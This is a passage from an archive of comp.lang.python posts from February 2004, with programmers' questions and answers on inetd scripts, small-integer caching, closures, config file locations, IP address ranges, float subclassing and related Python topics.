I'm not saying I approve of it, but wow, if these people would put
their minds to doing something to make the world better...

gb



From ncw at axis.demon.co.uk  Fri Feb 27 13:30:03 2004
From: ncw at axis.demon.co.uk (Nick Craig-Wood)
Date: 27 Feb 2004 18:30:03 GMT
Subject: inetd script in python?
References: <8ab78660.0402270403.6a36f7f3@posting.google.com>
Message-ID: <slrnc3v1ka.mk5.ncw@irishsea.home.craig-wood.com>

Jan <jan.kesten at web.de> wrote:
>  So far I read about that I could use stdin and stdout for
>  communication since inetd handles the socket. And I read that I
>  could use socket.fromfd to get a socket object to work with. But
>  both do not work, I tried to send just a greeting back to the
>  client or getting some text - nothing.

You should find something simple like this works - inetd is supposed
to make writing internet daemons easy!

import sys

while 1:
    bfr = sys.stdin.read(1024)
    sys.stdout.write(bfr)

You can then test the code on the command line by typing stuff to it
and seeing it print its output.

Beware buffering though!

-- 
Nick Craig-Wood
ncw at axis.demon.co.uk


From jani at persian.com  Wed Feb 18 23:28:09 2004
From: jani at persian.com (Jani Yusef)
Date: 18 Feb 2004 20:28:09 -0800
Subject: wxPython progress bar widget
Message-ID: <d3be1825.0402182028.1af54cb4@posting.google.com>

Does wxPython have a progress bar widget for use. If so I can't seem
to find anything via google.......
My app is pythoncard/wxPython based. I'd like to have a graphical bar
meter of some sort to show the status of a recurring lengthy file
upload done by the app.
Any advice or suggestions?
Thanks!!


From spam-trap-095 at at-andros.demon.co.uk  Tue Feb 17 15:05:43 2004
From: spam-trap-095 at at-andros.demon.co.uk (Andrew McLean)
Date: Tue, 17 Feb 2004 20:05:43 +0000
Subject: PEP218: Representing the empty set
Message-ID: <Eakvp5MXQnMAFwqT@at-andros.demon.co.uk>

Looking at PEP218 there is a discussion about the most appropriate way 
of representing the empty set. The two alternatives proposed are {} and 
{-}. I was wondering why either of these is needed. Why not just use 
set()?. It is only two more characters than {-} and a bit more explicit.

Similarly, I find myself initialising dictionaries with dict() rather 
than {}.

Am I missing something?

-- 
Andrew McLean


From cygnus at cprogrammer.org  Tue Feb 17 10:01:08 2004
From: cygnus at cprogrammer.org (Jonathan Daugherty)
Date: Tue, 17 Feb 2004 10:01:08 -0500
Subject: Parsers with Python
In-Reply-To: <20040217151807.GA1179@math.umd.edu>
References: <20040217151807.GA1179@math.umd.edu>
Message-ID: <20040217150108.GA8723@mail.theserver.ath.cx>

# I want to write a parser for BibTeX.  A BibTeX file is a collection of 
# entries that look like this:

There is a package called python-bibtex in debian, which can otherwise
be obtained at

http://sourceforge.net/project/showfiles.php?group_id=4825

near the bottom of the page.  The package claims to include a bibtex
parser.

--

  Jonathan Daugherty
  http://www.cprogrammer.org

  "It's a book about a Spanish guy called Manual, you should read it."
                                                            -- Dilbert



From mwh at python.net  Fri Feb  6 06:12:05 2004
From: mwh at python.net (Michael Hudson)
Date: Fri, 6 Feb 2004 11:12:05 GMT
Subject: counting references to an instance
References: <mailman.1273.1076022530.12720.python-list@python.org>
Message-ID: <m34qu45unv.fsf@pc150.maths.bris.ac.uk>

"Delaney, Timothy C (Timothy)" <tdelaney at avaya.com> writes:

> > From: Gerrit
> >
> > ...powers of two have a lot more refences, but 17 and 29 have 
> > 2 references
> > more than 18 or 28... interesting.
> > 
> > IIRC, Python keeps references of all small integers,
> > apparantly all smaller than 100.
> 
> Actually -1 through to 99.

Um, this is rank pedantry, but it's -5 to 99...

>>> (0 - 5) is -5
True
>>> (0 - 6) is -6
False

Cheers,
mwh

-- 
  Strangely enough  I saw just such a beast at  the grocery store
  last night. Starbucks sells Javachip. (It's ice cream, but that
  shouldn't be an obstacle for the Java marketing people.)
                                         -- Jeremy Hylton, 29 Apr 1997


From paul at prescod.net  Tue Feb 24 21:33:04 2004
From: paul at prescod.net (Paul Prescod)
Date: Tue, 24 Feb 2004 18:33:04 -0800
Subject: Thoughts about Python
In-Reply-To: <c1gvl4$1j0arb$1@ID-169208.news.uni-berlin.de>
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>	<15c2d03b.0402241237.708cb4e8@posting.google.com>
	<c1gvl4$1j0arb$1@ID-169208.news.uni-berlin.de>
Message-ID: <403C0960.50009@prescod.net>

Greg Ewing (using news.cis.dfn.de) wrote:

>....
> You're right that naming conventions (or lack thereof) in Python
> leave something to be desired, but we're stuck with many of them
> for historical reasons. 

Not really. If "open" can be renamed "file" it could also have been 
renamed File. To be honest I think that the real problem is that Guido 
is allergic to caps. I don't know how None snuck in. ;)

> Your suggested convention (classes start with uppercase, functions
> with lowercase) has its uses, and I tend to follow it in most of
> the code that I write, but it has its drawbacks as well. A
> counterargument often put forward is that users of a class usually
> don't care whether something is really a class or whether it's
> a factory function, and often you would like to be free to change
> the implementation from one to the other without affecting client
> code. With a naming convention that distinguishes classes from
> functions, you can't do that.

Changing from a function to a class is _always_ easy.

def open(filename, flags):
	return File(filename, flags)

The trickier issue is having the class itself export the interface the 
client code is used to.

Changing from a class to a function is never really very safe:

class myobject(File):
	...

if isinstance(myobject, File):
	....

How can you change File to be just a function safely? But anyhow, why 
would you want to?

  Paul Prescod





From fwdpgn at t-systems.com  Wed Feb  4 06:43:24 2004
From: fwdpgn at t-systems.com (fwdpgn at t-systems.com)
Date: Wed, 4 Feb 2004 12:43:24 +0100 (CET)
Subject: Ein Virus in der E-MAIL von python-list @ python . org gefunden . 
 ( ddaah144@deutschepost.de )
Message-ID: <200402041143.i14BhOpB025047@ppd00021.deutschepost.de>


In der Mailnachricht wurde vom Virenscanner
ein VIRUS gefunden:


	Von:      python-list at python.org
	Gesendet: Wed, 4 Feb 2004 12:41:02 +0100
	Betrefd:  Mail Transaction Failed

Daher konnte diese Mail nicht an den/die Empfaenger weitergeleitet werden.

Mimemaster at deutschepost.de



From pf_moore at yahoo.co.uk  Sun Feb  8 07:16:02 2004
From: pf_moore at yahoo.co.uk (Paul Moore)
Date: Sun, 08 Feb 2004 12:16:02 +0000
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all)
 available
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
Message-ID: <ekt5lqbh.fsf@yahoo.co.uk>

Mark Hammond <mhammond at skippinet.com.au> writes:

> Hi all,
>    I have released a new version of the win32all extensions.  I have
>    also changed significantly the way I release them.

[...]

> All comments appreciated!

One problem. I install Python with the start menu entries in
Programs\Programming\Python 2.3, rather than the default of
Programs\Python 2.3. The old pywin32 releases found this location
(from the regstry, I guess) and put their start menu entries in there.

The new one not only uses the default, Programs\Python 2.3,
regardless, but it also fails to handle the lack of that directory
correctly, raising an error rather than creating it if it doesn't
exist.

Paul.
-- 
This signature intentionally left blank


From paul at prescod.net  Mon Feb  2 17:56:48 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 02 Feb 2004 14:56:48 -0800
Subject: Python vs. Io
In-Reply-To: <101tf8qpqsg3lb3@news.supernews.com>
References: <711c7390.0401291301.3f95794@posting.google.com>	<D6wSb.6538$qU3.576425@news20.bellglobal.com>	<711c7390.0401301726.3e38da27@posting.google.com>	<mailman.1078.1075571238.12720.python-list@python.org><711c7390.0401311808.3914a94b@posting.google.com>	<mailman.1110.1075672228.12720.python-list@python.org>
	<101tf8qpqsg3lb3@news.supernews.com>
Message-ID: <401ED5B0.5000308@prescod.net>

John Roth wrote:

> "Paul Prescod" <paul at prescod.net> wrote in message
> news:mailman.1110.1075672228.12720.python-list at python.org...
> 
>>First, if I had invented Python I would not have bothered to buck the
>>trend of using curly braces.
> 
> 
> I suppose I am hardly anyone else, since that it exactly what
> attracted me to Python. In fact, I will take partial responsibility
> for the indentaion syntax in IBM's ISPF mini-language - it's a
> preferance of long standing with me.

There are certainly costs and benefits to the Python way. And we've been 
over them many times. ;)

I'm just saying that from a language popularity point of view, 
"different" is usually perceived as "worse" unless it is really vastly 
better.

  Paul Prescod





From haasje at welmers.net  Fri Feb  6 06:02:00 2004
From: haasje at welmers.net (Bastiaan Welmers)
Date: Fri, 06 Feb 2004 12:02:00 +0100
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
	<bvmdql$1sq$07$1@news.t-online.com>
Message-ID: <40237456$0$317$e4fe514c@news.xs4all.nl>

Diez B. Roggisch wrote:

>> Anyone who has a better idea?
> 
> AFAIK MUAs usually use a mbox.index-file for faster access. The index is
> computed once, and updated whenever a new message is added. You could
> create this index quite easily yourself by looping over the mbox and
> pickling a list of tell'ed positions. If you also store the creation-date
> of the index and the filesize of the mbox-file, you should be able to
> create a function that will update the index whenever the underlying mbox
> has changed. Another approach would be to perform index-creation on
> regular bases using cron.
Also good idea. It's a mailman archieve so then I have
to hack mailman for creating an index file besides the
mbox file.

/Bastiaan


From nospam-deets at web.de  Thu Feb 26 09:26:30 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 26 Feb 2004 15:26:30 +0100
Subject: Catching exception information from ExpatError
References: <88m%b.30631$Da7.12393@newssvr25.news.prodigy.com>
	<c1krjp$1jveb9$1@ID-111250.news.uni-berlin.de>
	<SYm%b.30634$vi7.29723@newssvr25.news.prodigy.com>
Message-ID: <c1kvum$1k37og$1@ID-111250.news.uni-berlin.de>

> Thanks Diez,
>  I'll make that the first site that I visit when I have questions, as
>  well.

Good decision - the nice thing on python is thats more or less everything
you want to know is already out there - and especially on python.org ;)

-- 
Regards,

Diez B. Roggisch


From michael at foord.net  Wed Feb 11 11:19:26 2004
From: michael at foord.net (Fuzzyman)
Date: 11 Feb 2004 08:19:26 -0800
Subject: Non Parsed Headers in Python
References: <8089854e.0402102357.6d7b721e@posting.google.com>
	<mailman.1459.1076495065.12720.python-list@python.org>
Message-ID: <8089854e.0402110819.191a59b7@posting.google.com>

Aha.........
I'm not sure which of these two was the right answer..... but I've
used both and it's working.

My anagram CGI now spits out the answers as it finds them - Thanks !

http://www.voidspace.xennos.com/cgi-bin/Nanagram-CGI.py


Fuzzy


Gerhard H?ring <gh at ghaering.de> wrote in message news:<mailman.1459.1076495065.12720.python-list at python.org>...
> Fuzzyman wrote:
> > How do I make a python CGI output whilst it is still running - how do
> > I tell the server not to buffer the output ?
> > 
> > I have seen instructions for Perl, but not for python......
> 
> Starting your CGI script with
> 
> #!/usr/bin/env python -u
> 
> should do the trick.
> 
> -- Gerhard


From fnord at u.washington.edu  Fri Feb 13 23:03:51 2004
From: fnord at u.washington.edu (Lonnie Princehouse)
Date: 13 Feb 2004 20:03:51 -0800
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<c0jhce$17t8qa$1@ID-203708.news.uni-berlin.de>
	<5zcXb.480227$JQ1.408230@pd7tw1no>
	<c0jktm$175t8l$1@ID-203708.news.uni-berlin.de>
Message-ID: <f70e3538.0402132003.1942b297@posting.google.com>

Yes, Python is probably too slow for a competitive chess engine. 
Pychess works, but it's about two orders of magnitude slower than it
would be in C.  I haven't tried it with Psyco; that might help
considerably.

That said, it's a breeze to write C extensions for Python.  It makes a
lot of sense to write the GUI in Python and have the crunchy bits in
C.

(It took me a few hours to write the chess board GUI posted in this
thread, and it would have taken a lot longer in C, not to mention the
portability advantage of an interpreted language)

"RPM1" <rpm1deleteme at direcway.com> wrote in message news:<c0jktm$175t8l$1 at ID-203708.news.uni-berlin.de>...
> "Elaine Jackson" <elainejackson7355 at home.com> wrote ...
> > So far I've got a script that translates a pgn file into text that can be
> > typeset in a chess font to produce a pictorial representation of the game
>  in
> > question. With a graphical interface it will eventually evolve into a pgn
> > viewer/analyzer.
> >
> 
> Cool.  Over the years I've tinkered with very basic chess programs
> written in various programming languages.  I found python to be too
> slow, (although I wonder if Numeric or Psyco might make it feasible).
> 
> There is a chess program written in python:
> 
> http://www.kolumbus.fi/jyrki.alakuijala/pychess.html
> 
> but it is very slow and pretty weak.
> 
> Good luck with the viewer,
> Patrick


From loic at yermat.net1.nerim.net  Thu Feb 19 16:50:22 2004
From: loic at yermat.net1.nerim.net (Yermat)
Date: Thu, 19 Feb 2004 22:50:22 +0100
Subject: Database abstraction (like AdoDB in PHP)
In-Reply-To: <YvydnTnZm7bgh6jdRVn-gw@comcast.com>
References: <mailman.72.1077211104.27104.python-list@python.org>
	<YvydnTnZm7bgh6jdRVn-gw@comcast.com>
Message-ID: <c13b2k$1th1$1@biggoron.nerim.net>

DH a ?crit :

> Andres Montiel wrote:
> 
>> Is there something like ADODB in PHP for Python? something that would
>> allow me to easily switch databases just by changing a few parameters?
>> :)
> 
> 
> The person who wrote ADODB made a version for Python, too, recently:
> http://php.weblogs.com/adodb_python
> 
> But see also:
> http://sqlobject.org/
> http://modeling.sourceforge.net/
> and some commercial products like Rekall, mxODBC

In fact, this is nearly already the case. If your library is "Python 
Database API Specification v2.0" compliant (see 
http://www.python.org/peps/pep-0249.html) then you can just change the 
connection object. But you need to take care of such thing like the 
"paramstyle" parameters.
I've already use this to change from MySQL to ODBC with no change in the 
code.

But the real pain is not the API, it is the SQL. For example an integer 
will not be declare the same way in PostGres or MySQL, same for BLOB, etc.

That is why the only way is to do things in a more abstract way like 
sqlobject or modeling. But I find it is still complicate to have a 
persistent framework that can accept Database, ZODB, etc in a nice way...

Lo?c



From __peter__ at web.de  Sat Feb 14 04:24:35 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 14 Feb 2004 10:24:35 +0100
Subject: Generating and printing a range of ip addresses
References: <mailman.26.1076744175.31398.python-list@python.org>
Message-ID: <c0kpgj$fph$03$1@news.t-online.com>

Stephen Briley wrote:

> Hi all,
> 
> I would like to write a python script that takes input
> of 2 ip address, one a start address and the other the
> end address and prints a list of all ip address in
> between  in dotted-decimal format.  I've attempted to
> use the ipv4 module
> (http://pynms.sourceforge.net/ipv4.html) ,but I am
> unable to get past this error  "AttributeError: 'str'
> object has no attribute '_address".
> 
> Can any suggest a solution to this problem? Is there a
> better way than using the ipv4 module?
> 
> Thanks,
> 
> Steve
> 
>>>> from ipv4 import *
>>>> ip = IPv4('10.0.0.1')
>>>> startadd = ip.nexthost()
>>>> endadd = ('10.0.3.0')

I don't known pynms, but it seems the above shoud be 

endadd = IPv4('10.0.3.0')

instead.

>>>> print startadd
> 10.0.0.2
>>>> print endadd
> 10.0.3.0
> 
>>>> while startadd != endadd:
> ...   startadd = ip.nexthost()
> ...   print startadd
> ...
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
>   File "C:\Python23\lib\ipv4.py", line 250, in __cmp__
>     return cmp(self._address, other._address)
> AttributeError: 'str' object has no attribute '_address'

Reading the traceback carefully should give the right clue. A str object
occurs where you would expect an IPv4 instance.

Peter


From nomail  Tue Feb  3 03:02:36 2004
From: nomail (BG)
Date: Tue, 3 Feb 2004 09:02:36 +0100
Subject: bsddb.dbshelve problem unpickling objects from another directory
References: <401d7d15$0$3257$58c7af7e@news.kabelfoon.nl>
	<bvk2t3$q5h$1@news.service.uci.edu>
	<401df5c2$0$3244$58c7af7e@news.kabelfoon.nl>
	<bvmngg$9r0$3@news.service.uci.edu>
Message-ID: <401f55b9$0$3239$58c7af7e@news.kabelfoon.nl>

Josiah,

I tried what you suggested and indeed it works perfectly! Thank you very
much for your help!

Berry

"Josiah Carlson" <jcarlson at nospam.uci.edu> schreef in bericht
news:bvmngg$9r0$3 at news.service.uci.edu...
> > Thank you for your quick answer. But, this very much limits the way
> > persistent objects can be used. Objects can apparently only be used in
the
> > context they were created. There is a logic to this, but it is also
strange
> > to me. Is there a way that upickled objects can also be used outside
there
> > original context?
>
> I don't know.  If I were put into a situation like that, I'd probably
> just go and do this where necessary:
>
> import sys
> sys.path.append('<path to database module>')
>
> import testmodule
> #etcetera
>
>
> Sure, it mangles paths, but then everything has the same context and
> will work.
>
>   - Josiah




From edcjones at erols.com  Sat Feb 21 18:19:32 2004
From: edcjones at erols.com (Edward C. Jones)
Date: Sat, 21 Feb 2004 18:19:32 -0500
Subject: Complex Nested Dictionaries
In-Reply-To: <4037dda3$1@news.bmi.net>
References: <40354c35@news.bmi.net> <c15mko$c2g$1@nntp6.u.washington.edu>
	<4036a303@news.bmi.net> <4037acf2$1@nntp0.pdx.net>
	<4037dda3$1@news.bmi.net>
Message-ID: <4037e887$0$3106$61fed72c@news.rcn.com>

T. Earle wrote:
> Scot,
> 
> I really appreciate your help and code.  It really helps me to understand
> the underlying solution to my problem.  I have another question though,
> what's the best way to test if the headline already exists?  If it does not,
> I need to create it along with the required associated data; however, if it
> already exists, I need to test to ensure I'm not already adding data that's
> already there (e.g., time and/or state already exists).  Basically, I
> envision, if the state already exists all I need to do is add the new zone.
> I probably should check to make sure the zone doesn't already exists too.
> Any help would be greatly appreciated.  I believe it would be similiar to
> what Russell mentioned in his previous responce:
> 
> "if list a[key] exists, then append; otherwise, create a new list"
> 
> Would it be possible to supply a code snippet of this logic to get me
> started?  What are state and time?  Is it possible to use the "key" keyword
> on these variables to test for their existence?  I apologize for my lack of
> knowledge in this particular realm of programming in Python.  Nested
> dictionaries have always given me trouble.
> 
> Thanks,
> 
> T. Earle

Check out "MultiDict.py" at "http://members.tripod.com/~edcjones/".

Ed Jones


From goodger at python.org  Wed Feb  4 14:56:22 2004
From: goodger at python.org (David Goodger)
Date: Wed, 04 Feb 2004 14:56:22 -0500
Subject: Line Text Parsing
In-Reply-To: <Xns948575A2C930Aacuencacanadacom@198.161.157.145>
References: <5b4785ee.0311150736.48aef621@posting.google.com>	<mailman.765.1068940219.702.python-list@python.org>
	<Xns948575A2C930Aacuencacanadacom@198.161.157.145>
Message-ID: <40214E66.2070209@python.org>

allanc wrote:
> Here's a sample of the records I need to parse:
> 
> 01508390019002      11284361000002SUGARPLUM
> 015083915549           SHORT ON LAST ORDER 
> 0150839220692 000002EA BMC   15 KG   001400
> 
> 1st Line is a (portion of) header record.
> 2nd Line is an text instruction record.
> 3rd Line is a Transaction Line Item record.

I've written many programs to parse data very similar to this,
until I generalized the algorithm (a line-oriented state machine)
into a module.  You can find the module (internally documented)
at http://docutils.sf.net/docutils/statemachine.py.

Hope it helps!

-- 
David Goodger                               http://python.net/~goodger
For hire: http://python.net/~goodger/cv




From jcarlson at nospam.uci.edu  Tue Feb 10 17:29:56 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 10 Feb 2004 14:29:56 -0800
Subject: software design question
In-Reply-To: <c0b0k2$fd7$1@news.rz.uni-karlsruhe.de>
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<6ee58e07.0402080823.75df2850@posting.google.com>
	<c0b0k2$fd7$1@news.rz.uni-karlsruhe.de>
Message-ID: <c0bm5l$p3b$1@news.service.uci.edu>


>>No !
>>My modules are normally between 1000-3000 lines. Having to much files
>>(worst case scenario is PHP) is just another form of spaghetti code.
>>With so small files you should focus on the task that needs to be done
>>and only if you really do two different things in one module you
>>should decide to split it. Maybe a merge would help you more then
>>splitting.
> 
> 
> What IDE /Editor do you use? I currently use Emacs and I find it very hard
> to skip back and forth between methods and functions in larger files.

I would imagine he uses his own editor: http://www.python-ide.com

I also don't have any issues editing 1-3k line files using my own 
editor: http://pype.sourceforge.net (PyPE itself is ~3900 lines).

I believe the major difference, at least in terms of scalability, has to 
do with the existance of a browsable source tree (aka a class browser). 
  It has helped me significantly.

  - Josiah


From jacek.generowicz at cern.ch  Wed Feb 25 02:59:22 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 25 Feb 2004 08:59:22 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
Message-ID: <tyffzczoahx.fsf@pcepsft001.cern.ch>

Antoon Pardon <apardon at forel.vub.ac.be> writes:

> The solution that I heard proposed was to use
> a mutable variable. Something like
> 
> 
> def fun_1():
> 
>   a = [some_value]
> 
>   def fun_2();
> 
>     a[0] = new_value

Could somebody point me to an explanation of why closures are broken
in this way in the first place, please ?


From nemesis at nowhere.invalid  Sun Feb 29 12:26:42 2004
From: nemesis at nowhere.invalid (Nemesis)
Date: Sun, 29 Feb 2004 17:26:42 GMT
Subject: [ANN] XPN 0.2.2
Message-ID: <la7t1c.kg2.ln@nemesis.homeinvalid>

XPN is an on-line newsreader with unicode support. It's written in
Python using GTK+2 toolkit and works wherever Python and GTK+2 work.

Major Changes:
  Restored date sorting
  Added more encodings
  Now you can open web urls
  Added port number customization
  Newsgroups list now is retrieved in a different thread

http://sf.net/projects/xpn
-- 
If I die, I forgive you; if I recover, we shall see.

 |\ |       |HomePage   : http://nem01.altervista.org
 | \|emesis |XPN (my nr): http://xpn.altervista.org



From deets_noospaam at web.de  Sun Feb  8 12:32:55 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Sun, 08 Feb 2004 18:32:55 +0100
Subject: string to integer problem
References: <pan.2004.02.08.16.29.02.415446@lolmc.com>
	<c05pur$r2n$05$2@news.t-online.com>
	<pan.2004.02.08.17.13.43.708339@lolmc.com>
Message-ID: <c05rs7$991$06$1@news.t-online.com>

> Hi,
> thanks for this it worked a treat but I don't understand how - even after
> reading the docs for the eval() builtin function.Could you explain what's
> going on (in fairly simple terms as well - I'm a programmer for fun not
> cause it's my job)
> Thank you,
> Lol

eval is a function that simply evaluates the expression you pass to it as
string - so 

eval("10 + 20")

yields 30. You could think of eval beeing a call to something that starts
the python interpreter as separete process/program, passes its arg as the
script to execute, and returns the computed result - thats it.

-- 
Regards,

Diez B. Roggisch


From thoaan at stud.cs.uit.no  Wed Feb 18 12:34:30 2004
From: thoaan at stud.cs.uit.no (Thomas Aanensen)
Date: Wed, 18 Feb 2004 18:34:30 +0100
Subject: find caller
Message-ID: <c107n5$kh1$1@news.uit.no>

Hi

I would like to find all the method calls done by a specified class on an
object.

#I have an object:
self.o = SomeObject()
#Then I do a method call
self.o.GetAValue()


What I need is to parse the class to find all the method calls done by
self.o (The name of the method being called is whats important)


Thomas




From jcarlson at nospam.uci.edu  Mon Feb  2 19:00:38 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 16:00:38 -0800
Subject: where should config files go in Windows?
In-Reply-To: <rowen-A76EB5.10462702022004@nntp2.u.washington.edu>
References: <rowen-A76EB5.10462702022004@nntp2.u.washington.edu>
Message-ID: <bvmoff$aud$1@news.service.uci.edu>

I use the following for multi-platform home directories in my own 
project http://pype.sourceforge.net

I've had no complaints from people using *nix or Windows.  I haven't 
heard of any users on macs yet, so have no comment.

  - Josiah


default_homedir = os.path.dirname(os.path.abspath(__file__))
dotpath = '.application_name'

try:
     #all user-based OSes
     thd = os.path.expanduser("~")
     if thd == "~": raise
     homedir = os.path.join(thd, dotpath)
except:
     try:
         #*nix fallback
         homedir = os.path.join(os.environ['HOME'], dotpath)
     except:
         try:
             #windows NT,2k,XP,etc. fallback
             homedir = os.path.join(os.environ['USERPROFILE'], dotpath)
         except:
             #What os are people using?
             homedir = os.path.join(default_homedir, dotpath)
try:
     # create the config directory if it
     # doesn't already exist
     def expandfull(var, rem=3):
         if not rem:
             return os.path.expandvars(var)
         a = os.path.expandvars(var)
         b = []
         d = [b.extend(i.split('\\')) for i in a.split('/')]
         c = []
         for i in b:
             if '%' in i:
                 c.append(expandfull(i, rem-1))
             else:
                 c.append(i)
         return '\\'.join(c)
     if eol == "\r\n" and '%' in homedir:
         homedir = expandfull(homedir)
     if not os.path.exists(homedir):
         os.mkdir(homedir)
except:
     #print "unable to create config directory", homedir
     homedir = default_homedir


From tyler at ml1.net  Sun Feb 15 19:39:26 2004
From: tyler at ml1.net (Tyler Eaves)
Date: Mon, 16 Feb 2004 00:39:26 GMT
Subject: Stopping a program
References: <b4a8ffb6.0402151600.70e2c173@posting.google.com>
Message-ID: <slrnc303pt.flt.tyler@darkstar.tylere.com>

On 2004-02-16, Thomas Philips <tkpmep at hotmail.com> wrote:
>
>
> I'd like to stop a program (i.e. terminate its execution) without
> raising an exception if some condition is met, e.g

sys.exit(RETURN_CODE) 

(Where RETURN_CODE is usually 0)	


From usenet_spam at janc.invalid  Thu Feb  5 16:58:16 2004
From: usenet_spam at janc.invalid (JanC)
Date: Thu, 05 Feb 2004 21:58:16 GMT
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net>
Message-ID: <Xns9486E9AD26AFEJanC@213.119.4.35>

Thomas Heller <theller at python.net> schreef:

> But I was very astonished to see that no other mail/news client I have
> examined allows customizing the From: address depending on the folder or
> group you are currently in.  Can that really be true?

You never looked at Xnews ?   :-)

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From michele.simionato at poste.it  Wed Feb 18 12:08:32 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 18 Feb 2004 09:08:32 -0800
Subject: hmm, lets call it: generic __init__  problem
References: <c0u0fa$1asj0f$1@ID-131134.news.uni-berlin.de>
Message-ID: <95aa1afa.0402180908.1f7a8b6c@posting.google.com>

paul k?lle <koelle1 at uni-weimar.de> wrote in message news:<c0u0fa$1asj0f$1 at ID-131134.news.uni-berlin.de>...
> Hi list,
> 
> in the course of writing a small app, I tried to design a class, which 
> would allow to derive its behaviour solely from its name, so that I 
> would be able to write one abstract class with the logic and get 
> different objects/instances by subclassing with appropriate names. 
> Consider the following:
> 
> ATTRS = {'one':['attr1', 'attr2'],
> 	 'two':['attr3','attr4'],
> 	 'three':['attr5','attr6'],
> 	 'four':['attr7','attr8']}
> 
> 
> class one:
> 	def __init__(self, *args, **kwargs):
> 		## get allowed attributes...
> 		for attr in ATTRS[self.__class__.__name__]:
> 			self.__dict__[attr] = ''
> 
> 		## unknown attributes are silently ignored...
> 		for item in kwargs.keys():
> 			if self.__dict__.has_key( item ):
> 				 self.__dict__[item] = kwargs[item]
> 			else:
> 				 pass
> 		## init all parents...
> 		parents = self.__class__.__bases__
> 		if parents:
> 			for i in range(len(parents)):
> 			apply(parents[i].__name__.__init__,\ 								(self,)+args, kwargs)
> 

Uhm ... I am quite sure this could be done better, but it is not
completely clear what you are trying to do. The parents[i].__name__.__init__
is clearly bogus, and the loop over "i" makes me say "ickkk!".
Moreover, it is completely useless since even fixing it will generate
a recursion error (__init__ of one instance would call __init__ of
the *same* class). In principle, you would need "super", but in
this case you are probably better with "dir": dir automatically retrieves the
attributes from the parents. Here is an example:

ATTRS = {
    'one':  ['attr1', 'attr2'],
    'two':  ['attr3', 'attr4'],
    'three':['attr5', 'attr6'],
    'four': ['attr7', 'attr8']}


class one:
    def __init__(self, *args, **kwargs):
        for item in dir(self): 
            # a way to pass attributes from parents to self by hand
            if item.startswith("__"):
                pass # skip private and special names
            else:
                setattr(self,item,getattr(self,item)) #put in self.__dict__
        for attr in ATTRS[self.__class__.__name__]:
            self.__dict__[attr] = ''
        for item in kwargs.keys():
            if self.__dict__.has_key( item ):
                self.__dict__[item] = kwargs[item]
            else: #useless but may help readability
                pass
class two(one):
    def foo(self):
        pass

class three(one):
    def bar(self):
        pass

class four(two, three):
    def wiskey_bar(self):
        pass

i1=one()
i2=two()
i3=three()
i4=four()

print dir(i1)

print dir(i2)

print dir(i3)

print dir(i4)

This is probably not what you want: by I suggest you consider
changing the attributes of the class with setattr(self.__class__,name,value)
if you want inheritance to work. The issue is that the dictionary of one 
instance is local to the instance and it is not inherited, so you want to 
change the dictionary of the class.
Does this helps?

                      Michele Simionato


From amk at amk.ca  Thu Feb 12 20:47:52 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Thu, 12 Feb 2004 19:47:52 -0600
Subject: Mathematica-style notebook in Python
References: <5eb8fb88.0402121313.2f07dd0a@posting.google.com>
Message-ID: <hM6dnd9UQN5VsbHdRVn-gg@speakeasy.net>

On 12 Feb 2004 13:13:01 -0800, 
	Rick Muller <rick_muller at yahoo.com> wrote:
> [Re: Mathematica-like notebooks]	
> Before I start doing something like this, has anyone else considered
> it?

James Tauber suggested it last June in the thread starting here:
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&safe=off&selm=mailman.1056218558.29567.python-list%40python.org

However, at the end of it he went off to investigate wxPython 
and never posted a final result, so whether he succeeded or not is unknown.
I'd suggest e-mailing him.

(And I would *love* to see such a tool for Python; it would have lots of
different applications.)

--amk


From cgroth at gmx.net  Sun Feb  8 12:20:31 2004
From: cgroth at gmx.net (Christoph Groth)
Date: Sun, 08 Feb 2004 18:20:31 +0100
Subject: Overriding the __new__ method
References: <87vfmho7yw.fsf@gmx.net> <c05p4h$asl$03$1@news.t-online.com>
Message-ID: <87n07to5cw.fsf@gmx.net>

Hello Peter,

Thank you for the quick answer.

Peter Otten <__peter__ at web.de> writes:

>> piglet:~$ python
>> Python 2.2.1 (#1, Sep  7 2002, 14:34:30)
>> [GCC 2.95.4 20011002 (Debian prerelease)] on linux2
>> Type "help", "copyright", "credits" or "license" for more information.
>>>>> class inch(float):
>> ...     def __init__(self, arg=0.0):
>> ...         float.__init__(self, arg*0.0254)
>> ...
>>>>> print inch(12)
>> 12.0
>  
> So one inch is one meter?
>
> Python 2.3.3 (#1, Jan  3 2004, 13:57:08)
> [GCC 3.2] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>>>> class inch(float):
> ...     def __new__(cls, v):
> ...             return float.__new__(cls, v*0.0254)
> ...
>>>> inch(12)
> 0.30479999999999996
>
> See the difference?

Sure, but I still don't understand why 12 is returned.  The essay
says:

"The version overriding __init__ doesn't work because the float type's
__init__ is a no-op: it returns immediately, ignoring its arguments."

According to my understanding, if float type's __init__ ignores its
